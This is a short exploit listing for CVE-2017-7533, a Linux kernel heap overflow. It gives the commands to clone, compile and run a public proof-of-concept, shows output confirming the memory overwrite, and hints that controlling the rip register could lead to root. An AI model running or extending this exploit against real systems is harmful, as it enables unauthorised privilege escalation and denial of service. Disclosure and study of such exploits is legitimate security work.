CVE-2017-7533: privileges escalation/denial of service vulnerability on Linux Kernel 4.12.4

CVE-2017-7533

Find out more about CVE-2017-7533 from the MITRE CVE dictionary dictionary and NIST NVD.

Exploit

git clone https://github.com/hardenedlinux/offensive_poc.git
cd offensive_poc/CVE-2017-7533
gcc -o exploit exploit.c -lpthread
./exploit

“`
Listening for events.
Listening for events.
alloc_len : 50
longname=”test_dir/bbbb32103210321032100��1����”
handle_events() event->name : b, event->len : 16
Detected overwrite!!!
callrename done.
alloc_len : 50
“`

This is a heap overflow bug, tested on the Debian 8 Linux version 3.16.39(amd64) successfully.

You could modify one byte to manipulate rip register, but I do not try hard to get root.

Thanks to the Vladis Dronov <vdronov () redhat com> and someone from HK University.

Source:

https://access.redhat.com/security/cve/cve-2017-7533
https://github.com/hardenedlinux/offensive_poc/tree/master/CVE-2017-7533